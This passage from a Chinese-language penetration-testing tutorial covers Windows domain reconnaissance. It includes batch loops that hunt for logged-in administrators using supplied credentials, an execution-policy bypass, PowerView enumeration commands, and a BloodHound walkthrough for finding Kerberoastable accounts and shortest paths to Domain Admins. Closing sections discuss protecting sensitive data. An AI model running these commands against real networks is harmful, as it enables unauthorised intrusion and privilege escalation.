FOR /F %%i in (ips.txt) DO @echo [+] %%i && @tasklist /V /S %%i /U user /P password 2>NUL > output.txt && FOR /F %%n in (names.txt) DO @type output.txt | findstr %%n > NUL && echo [!] %%n was found running a process on %%i && pause
2.11.4 扫描远程系统的NetBIOS信息
某些版本的Windows操作系统允许用户通过NetBIOS查询已登录用户。下面这个Windows命令行脚本就用于扫描远程系统活跃域中的管理会话。
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
利用nbtscan扫描:https://github.com/SevenC-base/InformationGathering/tree/master/nbtscan
for /F %i in (ips.txt) do @echo[+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
2.12 域管理员方法模拟简介
在渗透测试中,如果已经拥有一个meterpreter会话,就可以使用incognito
来模拟域管理员或者添加一个域管理员,通过尝试遍历系统中所有可用的授权令牌来添加新的管理员。具体操作方法将在第4章详细讲解,见 4.5.1。
2.13 利用power shell收集域内信息
PowerShell是微软推出的一款用于满足管理员对操作系统及应用程序易用性和扩展性需求的脚本环境,可以说是cmd.exe的加强版。作为微软官方推出的脚本语言,在Windows操作系统中的强大功能众所周知:系统管理员可以利用它提高Windows管理工作的自动化程度;渗透测试人员可以利用它更好地进行系统安全测试。
- PowerShell 2.0 内置在 Windows Server 2008 和 Windows 7 中
- PowerShell 3.0 内置在 Windows Server 2012 和 Windows 8 中
- PowerShell 4.0 内置在 Windows Server 2012 R2 和 Windows 8.1中
- PowerShell 5.0 内置在 Windows Server 2016 和 Windows 10 中
# 查看powershell版本
$PSVersionTable.PSVersion
Powershell有六种执行策略:
Unrestricted
权限最高,可以不受限制执行任意脚本Restricted
默认策略,不允许任意脚本的执行AllSigned
所有脚本必须经过签名运行RemoteSigned
本地脚本无限制,但是对来自网络的脚本必须经过签名Bypass
没有任何限制和提示Undefined
没有设置脚本的策略
# 获取当前执行策略
Get-ExecutionPolicy
# 更改执行策略
Set-ExecutionPolicy -ExecutionPolicy Unrestricted
PowerView 是一款依赖 PowerShell 和 WMI 对内网进行查询的常用渗透测试脚本,它集成在 PowerSploit 工具包中,下载地址:https://github.com/PowerShellMafia/PowerSploit。打开一个PowerShell窗口,进入PowerSploit目录,然后打开Recon目录,输入命令`Import-Module .\PowerView.ps1`,导入脚本。
常用命令如下:
- Get-NetDomain 获取当前用户所在域的名称
- Get-NetUser 获取所有用户的详细信息
- Get-NetDomainController 获取所有域控制器的信息
- Get-NetComputer 获取域内所有机器的详细信息
- Get-NetPrinter 获取域中所有当前计算机对象的数组
- Get-NetOU 获取域内的OU信息
- Get-NetGroup 获取所有域内组和组成员的信息
- Get-NetGroupMember 获取指定域组中所有当前用户的列表
- Get-NetFileServer 根据SPN获取当前域使用的文件服务器信息
- Get-NetShare 获取当前域内所有的网络共享信息
- Get-DFSshare 获取域上所有分发文件系统共享的列表
- Get-NetSubnet 获取域的其他网段
- Get-NetSite 获取域内的当前站点
- Get-NetDomainTrust 获取当前用户域的所有信任
- Get-NetForestTrust 获取与当前用户的域关联的林的所有信任
- Find-ForeignUser 枚举在其主域之外的组中的用户
- Find-ForeignGroup 枚举域组的所有成员并查找查询域之外的用户
- Invoke-MapDomainTrust 尝试构建所有域信任的关系映射
- Get-NetLoggedon 获取主动登录到指定服务器的用户
- Get-NetLocalGroup 获取一个或多个远程主机上本地组的成员
- Get-NetSession 获取指定服务器的会话
- Get-NetRDPSession 获取指定服务器的远程连接
- Get-NetProcess 获取远程主机的进程
- Get-UserEvent 获取指定用户的日志
- Get-ADObject 获取活动目录的对象
- Get-NetGPO 获取域内所有的组策略对象
- Get-NetGPOGroup 获取域中设置”受限组”的所有GPO
- Find-GPOLocation 获取用户/组,并通过GPO枚举和关联使其具有有效权限的计算机
- Find-GPOComputerAdmin 获取计算机并通过GPO枚举确定谁对其具有管理权限
- Get-DomainPolicy 获取域默认策略或域控制器策略
- Get-DomainSID 返回指定域的SID
- Invoke-UserHunter 获取域用户登录的计算机信息及该用户是否有本地管理员权限
- Invoke-ProcessHunter 通过查询域内所有的机器进程找到特定用户
- Invoke-UserEventHunter 根据用户日志查询某域用户登陆过哪些域机器
- Invoke-ShareFinder 在本地域中的主机上查找(非标准)共享
- Invoke-FileFinder 在本地域中的主机上查找潜在的敏感文件
- Find-LocalAdminAccess 在域上查找当前用户具有本地管理员访问权限的计算机
- Find-ManagedSecurityGroups 搜索受管理的活动目录安全组并标识对其具有写访问权限的用户,即这些组拥有添加或删除成员的能力
- Get-ExploitableSystem 发现系统可能易受常见攻击
- Invoke-EnumerateLocalAdmin 枚举域中所有计算机上本地管理员组的成员
2.14 域分析工具 Blood Hound
BloodHound 是一款免费的工具。一方面,BloodHound 通过图与线的形式,将域内用户、计算机、组、会话、ACL,以及域内所有的相关用户、组、计算机、登录信息、访问控制策略之间的关系,直观地展现在 Red Team 成员面前,为他们更便捷地分析域内情况、更快速地在域内提升权限提供条件。另一方面,BloodHound 可以帮助Blue Team 成员更好地对己方网络系统进行安全检查,以及保证域的安全性。BloodHound 使用图形理论,在活动目录环境中自动理清大部分人员之间的关系和细节。使用BloodHound,可以快速、深入地了解活动目录中用户之间的关系,获取哪些用户具有管理员权限、哪些用户对所有的计算机都具有管理员权限、哪些用户是有效的用户
组成员等信息。
BloodHound 可以在域内导出相关信息,将采集的数据导入本地 Neo4i 数据库,并进行展示和分析。Neo4j 是一款 NoSQL 图形数据库,它将结构化数据存储在网络内而不是表中。BloodHound 正是利用 Neo4j 的这种特性,通过合理的分析,直观地以节点空间的形式表达相关数据的。Neo4j 和 MySQL 及其他数据库一样,拥有自己的查询语言 Cypher Query Language。因为 Neo4j 是一款非关系型数据库,所以,要想在其中进行查询,同样需要使用其特有的语法。
2.14.1 配置环境
首先,需要难备一台安装了 Windows 服务器操作系统的机器。为了方便、快捷地使用 Neo4j 的Web管理界面,推荐使用 Chrome 或者火狐浏览器。Neo4j 数据库的运行需要 Java 环境的支持。
详细安装教程可以参考官方教程:https://bloodhound.readthedocs.io/en/latest/installation/windows.html
# 安装neo4j
C:\> neo4j.bat install-service
# 启动neo4j,URL:http://localhost:7474/,用户名:neo4j 密码:neo4j
C:\> net start neo4j
# 双击 BloodHound.exe 连接即可
界面左上角是菜单按钮和搜索栏:
三个选项卡分别是数据库信息(Database Info)、节点信息 (Node Info)和分析(Analysis)。
数据库信息选项卡中显示了所分析域的用户数量、计算机数量、组数量、会话数量、ACL数量、关系等信息,用户可以在此处执行基本的数据库管理操作,包括注销和切换数据幸,以及清除当前加载的数据库。
节点信息选项卡中显示了用户在图表中单击的节点的信息。
分析选项卡中显示了 BloodHound 预置的查询请求和用户自己构建的查询请求。
界面右上角是设置区:
第一个是刷新功能,BloodHound 将重新计算并绘制当前显示的图形;
第二个是导出图形功能,可以将当前绘制的图形导出为JSON或PNG文件;
第三个是导入图形功能,可以导入JSON文件;
第四个是上传数据功能,BloodHound将对上传的文件进行自动检测,然后获取CSV格式的数据;
第五个是查看上传状态功能,应该是新增的功能,官方文档并未找到相关描述。
第六个是更改布局类型功能,用于在分层和强制定向图布局之间切换;
第七个是设置功能,可以更改节点的折叠行为,以及在不同的细节模式之间切换。
2.14.2 采集数据
在使用BloodHound进行分析时,需要调用来自活动目录的三条信息,具体如下。
哪些用户登录了哪些机器?
哪些用户拥有管理员权限?
哪些用户和组属于哪些组?
BloodHound需要的这三条信息依赖于 Power View.ps1 脚本的BloodHound。BloodHound分为两部分,一是PowerShell 采集器脚本(有两个版本,旧版本叫作BloodHound_Old.ps1,新版本叫作SharpHound.ps1),二是可执行文件SharpHound.exe。在大多数情况下,收集此信息不需要系统管理员权限。
1、SharpHound.ps1 搜集数据
powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c ALL"
2、SharpHound.exe 搜集数据
Windows Server 2008 需要.NET 4.0、4.5、4.6环境,限制较多。
SharpHound.exe 下载地址:https://github.com/BloodHoundAD/BloodHound
.NET 4.0 下载地址:https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=17718
.NET 4.5.2 下载地址:https://www.microsoft.com/en-us/download/confirmation.aspx?id=42642
.NET 4.6 下载地址(开发人员工具包):https://dotnet.microsoft.com/zh-cn/download/dotnet-framework/net461
安装完成需要重启。
SharpHound.exe -c all
3、BloodHound.py 搜集数据
repo: https://github.com/fox-it/BloodHound.py
2.14.3 导入数据
将搜集的数据压缩包通过BloodHound的图形化界面Upload data按钮上传分析,效果如下:
2.14.4 查询信息
查询信息一共可分为五个方面:域信息、危险的权限、kerberos 交互、最短路径、自定义查询。
- Domain Information:域信息
— Find all Domain Admins:查询所有域管理员
— Map Domain Trusts:映射域信任
— Find Computers with Unsupported Operating Systems:查找不支持操作系统的计算机 - Dangerous Rights:危险的权限
— Find Principals with DCSync Rights:查找具有DCSync权限的主体
— Users with Foreign Domain Group Membership:具有外部域组成员资格的用户
— Groups with Foreign Domain Group Membership:具有外部域名组成员资格的组
— Find Computers where Domain Users are Local Admin:查找域用户是本地管理员的计算机
— Find Computers where Domain Users can read LAPS passwords:查找域用户可以读取密码的计算机
— Find All Paths from Domain Users to High Value Targets:找到从域用户到高价值目标的所有路径
— Find Workstations where Domain Users can RDP:找到域用户可以RDP的工作站
— Find Servers where Domain Users can RDP:找到域用户可以RDP的服务器
— Find Dangerous Rights for Domain Users Groups:查找域用户组的危险权限
— Find Domain Admin Logons to non-Domain Controllers:查找非域控制器的域管理员登录 - Kerberos Interaction:kerberos 交互
— Find Kerberoastable Members of High Value Groups:找到高价值群体中能够支持kerberoable的成员
— List all Kerberoastable Accounts:列出所有kerberoable用户
— Find Kerberoastable Users with most privileges:查找具有大多数特权的Kerberoastable用户
— Find AS-REP Roastable Users (DontReqPreAuth):查找AS-REP Roastable用户(DontReqPreAuth) - Shortest Paths:最短路径
— Shortest Paths to Unconstrained Delegation Systems:到无约束委托系统的最短路径
— Shortest Paths from Kerberoastable Users:到达Kerberoastable用户的最短路径
— Shortest Paths to Domain Admins from Kerberoastable Users:从Kerberoastable用户到域管理员的最短路径
— Shortest Path from Owned Principals:拥有的主体的最短路径
— Shortest Paths to Domain Admins from Owned Principals:从拥有的主体到域管理员的最短路径
— Shortest Paths to High Value Targets:到高价值目标的最短路径
— Shortest Paths from Domain Users to High Value Targets:从域用户到高价值目标的最短路径
— Find Shortest Paths to Domain Admins:到域管理员的最短路径 - Custom Queries:自定义查询
简单测试五个常见的查询:
1、查找所有域管理员
点击 Find all Domain Admins
进行查询。
2、查找到达域管理员的最短路径
点击Find Shortest Paths to Domain Admins
进行查询。
3、查看指定用户与域关联的详细信息
单击某个节点,BloodHound 将使用该节点的相关信息来填充节点信息选项卡。在本节的实验中,单击任意节点,然后选择一个用户名,即可查看该用户的用户名、显示名、密码最后修改时间、最后登录时间、在哪台计算机上存在会话,以及存在会话的计算机是否启动、属于哪些组、拥有哪些机器的本地管理员权限和访问对象对控制权限等。BloodHound能够以图表的形式将这些信息展示出来,并列出该用户在域中的权限,以便Red Team成员在域中进行横向渗透测试。
4、查看指定计算机与域的关系
单击任意计算机,可以看到该计算机在域内的名称、系统版本、是否启用、是否允许无约束委托等信息。
5、寻找路径
寻找路径的操作与导航软件的操作类似。在 BloodHound 中单击路径图标,会弹出目标节点文本框。将开始节点和目标节点分别设置
为任意类型,然后单击三角形按钮。如果存在此类路径,BloodHound将找到所有从开始节点到目标节点的路径,并在图形绘制区域将这些路径显示出来。
2.15.5 图例说明
1、图标说明
蓝色位置图标是开始节点 ;
白色骷髅头是已拥有节点;
红色靶子图标是目标节点;
钻石图标则是高价值目标;
2、节点说明
节点又细分为6种,分别是 Users 用户、Groups 组、Computers 计算机、Domain 域、GPOs 组策略对象、OUs 组织单位:
3、名词解释
HasSession:当用户与计算机时进行会话时,凭据会保留在内存中,可用 LSASS 注入或者凭据转储来获取用户凭据,图中该用户在两台计算机上存在会话:
Contains 可以在OU上添加一个新的ACE,它将继承到该OU下的所有子对象上,比如说在OU上应用GenericAll ACE ,那么所有子对象都将继承GenericAll属性
GpLink 将其设置为链接容器中的对象。
2.15 敏感数据的防护
内网的核心敏感数据,不仅包括数据库、电子邮件,还包括个人数据及组织的业务数据、技术数据等。可以说,价值较高的数据基本都在内网中。因此,了解攻击者的操作流程,对内网数据安全防护工作至关重要。
2.15.1资料、数据、文件的定位流程
内网数据防护的第一步,就是要熟悉攻击者获取数据的流程。在实际的网络环境中,攻击者主要通过各种恶意方法来定位公司内部各相关人员的机器,从而获得资料、数据、文件。定位的大致流程如下:
定位内部人事组织结构。
在内部人事组织结构中寻找需要监视的人员。
定位相关人员的机器。
监视相关人员存放文档的位置。
列出存放文档的服务器的目录。
2.15.2 重点核心业务机器及敏感信息防护
重点核心业务机器是攻击者比较关心的机器,因此,我们需要对这些机器采取相应的安全防护措施。
1、核心业务机器
- 高级管理人员、系统管理员、财务/人事/业务人员的个人计算机。
- 产品管理系统服务器。
- 办公系统服务器。
- 财务应用系统服务器。
- 核心产品源码服务器(T公司通常会架设自己的SVN或者GT服务器)。
- 数据库服务器。
- 文件服务器、共享服务器。
- 电子邮件服务器。
- 网络监控系统服务器。
- 其他服务器(分公司、工厂)。
2、敏感信息和敏感文件
- 站点源码备份文件、数据库备份文件等。
- 各类数据库的Web管理入口,例如phpMyAdmin、Adminer。
- 浏览器密码和浏览器Cookie。
- 其他用户会话、3389和ipc$连接记录、“回收站”中的信息等。
- Windows无线密码。
- 网络内部的各种账号和密码,包括电子邮箱、VPN、FTP、TeamView等。
2.15.3 应用与文件形式信息的防护
在内网中,攻击者经常会进行基于应用与文件的信息收集,包括一些应用的配置文件、敏感文件、密码、远程连接、员工账号、电子邮箱等。从总体来看,攻击者一是要了解已攻陷机器所属人员的职位(一个职位较高的人在内网中的权限通常较高,在他的计算机中会有很多重要的、敏感的个人或公司内部文件),二是要在机器中使用一些搜索命令来寻找自己需要的资料。
针对攻击者的此类行为,建议用户在内网中工作时,不要将特别重要的资料存储在公开的计算机中,在必要时应对Office文档进行加密且密码不能过于简单(对于低版本的Office软件,例如 Office 2003,攻击者在网上很容易就能找到软件来破解其密码;对于高版本的Office软件,攻击者能够通过微软SysInternals Suite 套件中的 ProcDump 来获取其密码)。
2.16 分析内网段划分情况以及拓扑结构
在掌握了内网的相关信息后,渗透测试人员可以分析目标网络的结构和安全防御策略,获取网段信息、各部门的P地址段,并尝试绘制内网的拓扑结构图。当然,渗透测试人员无法了解内网的物理结构,只能从宏观上对内网建立一个整体认识。
2.16.1 基本架构
渗透测试人员需要对目标网站的基本情况进行简单的判断,分析目标服务器所使用的Web服务器、后端脚本、数据库、系统平台等。
下面列举一些常见的Web架构:
ASP+Access+ⅡS 5.0/6.0+Windows Sever 2003
ASPX+MSSQL+IIS 7.0/7.5+Windows Sever 2008
PHP+MySQL+IIS
PHP+MySQL+Apache
PHP+MySQL+Ngnix
JSP+MySQL+Ngnix
JSP+MSSQL+Tomcat
JSP+Oracle+Tomcat
2.16.2 域内网段划分
在判断内网环境时,首先需要分析内网P地址的分布情况。一般可以通过内网中的路由器、交换机等设备,以及SNMP、弱口令等,获取内网网络拓扑或DNS域传送的信息。大型公司通常都有内部网站,因此也可通过内部网站的公开链接来分析P地址分布情况。网段是怎么划分的?是按照部门划分网段、按照楼层划分网段,还是按照地区划分网段?内网通常可分为DMZ、办公区和核心区(生产区)。
1、DMZ区
DMZ(Demilitarized Zone)非军事化区,也就是隔离区,DMZ区是一个对外服务区,在DMZ区域中存放着一些公共服务器,比如对外的服务器、对外的邮箱等等。用户要从外网访问到的服务,理论上都可以放到DMZ区。
在实际的渗透测试中,大多数情况下,在外围Web环境中拿到的权限都在DMZ中。这个区域不属于严格意义上的内网。如果访问控制策略配置合理,DMZ就会处在从内网能够访问DMZ而从DMZ访问不能内网的状态。
2、办公区
办公区,顾名思义,是指日常工作区。办公区的安全防护水平通常不高,基本的防护机制大多为杀毒软件或主机入侵检测产品。在实际的网络环境中,攻击者在获取办公区的权限后,会利用内网信任关系来扩大攻击面。不过,在一般情况下,攻击者很少能够直接到达办公区。攻击者如果想进入办公区,可能会使用鱼叉攻击、水坑攻击或者社会工程学等手段。
办公区按照系统可分为OA系统、邮件系统、财务系统、文件共享系统、企业版杀毒系统、内部应用监控系统、运维管理系统等,按照网段可分为域管理网段、内部服务器系统网段、各部门分区网段等。
3、核心区
核心区内一般存放着企业最重要的数据、文档等信息资产(例如域控制器、核心生产机器等),安全设置也最为严格。根据业务的不同,相关服务器可能存在于不同的网段中。在实际网络环境中,攻击者通过分析服务器上运行的服务和进程,就可以推断出目标主机使用的运维监控管理系统和安全防护系(攻击者在内网中进行横向攻击时,会优先查找这些主机)。核心区按照系统可分为业务系统、运维监控系统、安全系统等,按照网段可分为业务网段、运维监控网段、安全管理网段等。
大型企业网络架构有三层:接入层、汇聚层、核心层。
接入层接入不同的部门,不同的部门属于不同的VLAN,保证了不同部门之间的安全。
核心层有两个核心交换机,实现负载均衡和热备份,即使有一个核心交换机宕机了,网络也不会瘫痪。
对内服务器有一个IDS入侵检测系统,检测对内服务器的安全。
对外服务器有一个 WAF和IDS ,用来检测外网用户对对外服务器的访问。
边界防火墙主要是用来进行流量控制、流量过滤和进行内外网NAT转换。
在网络出口处,还有IPS入侵检测系统,实时检测是否有异常攻击行为,并及时阻断。
出口路由器由两个不同的运营商提供,提供对公网路由。
防火墙、IPS 和 边界路由器都有两个,实现负载均衡和热备份。即使任何一个宕机了,都不会影响企业网络的正常运作。
4、安全产品
IDS(Intrusion Detection Systems),只是做些攻击的检测工作,本身并不做防护,它检测到攻击的时候,可能此时攻击已经产生灾难了,所以IDS一般都需要和一些防攻击设备IPS共用;
IPS(Intrusion Prevention System),它不光对已知的攻击种类能防御,还能检测些异常协议的攻击,比较灵活。
- 防火墙是防御系统,属于访问控制类产品
- IDS是入侵检测系统,属于审计类产品
- IPS是入侵防御系统,属于访问控制类产品
- 防火墙是基于IP地址和端口来执行访问控制的
- IPS是基于入侵检测来执行访问控制的
2.16.3 多层域结构
在上述内容的基础上,可以尝试分析域结构。因为大型企业或者单位的内部网络大都采用多层域结构甚至多级域结构,所以,在进行内网渗透测试时,首先要判断当前内网中是否存在多层域、当前计算机所在的域是几级子域、该子域的域控制器及根域的域控制器是哪些、其他域的域控制器是哪些、不同的域之间是否存在域信任关系等。
2.16.4 绘制内网拓扑图
通过目标主机及其所在域的各类信息,就可以绘制内网的拓扑图了。在后续的渗透测试中,对照拓扑图,可以快速了解域的内部环境、准确定位内网中的目标。
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。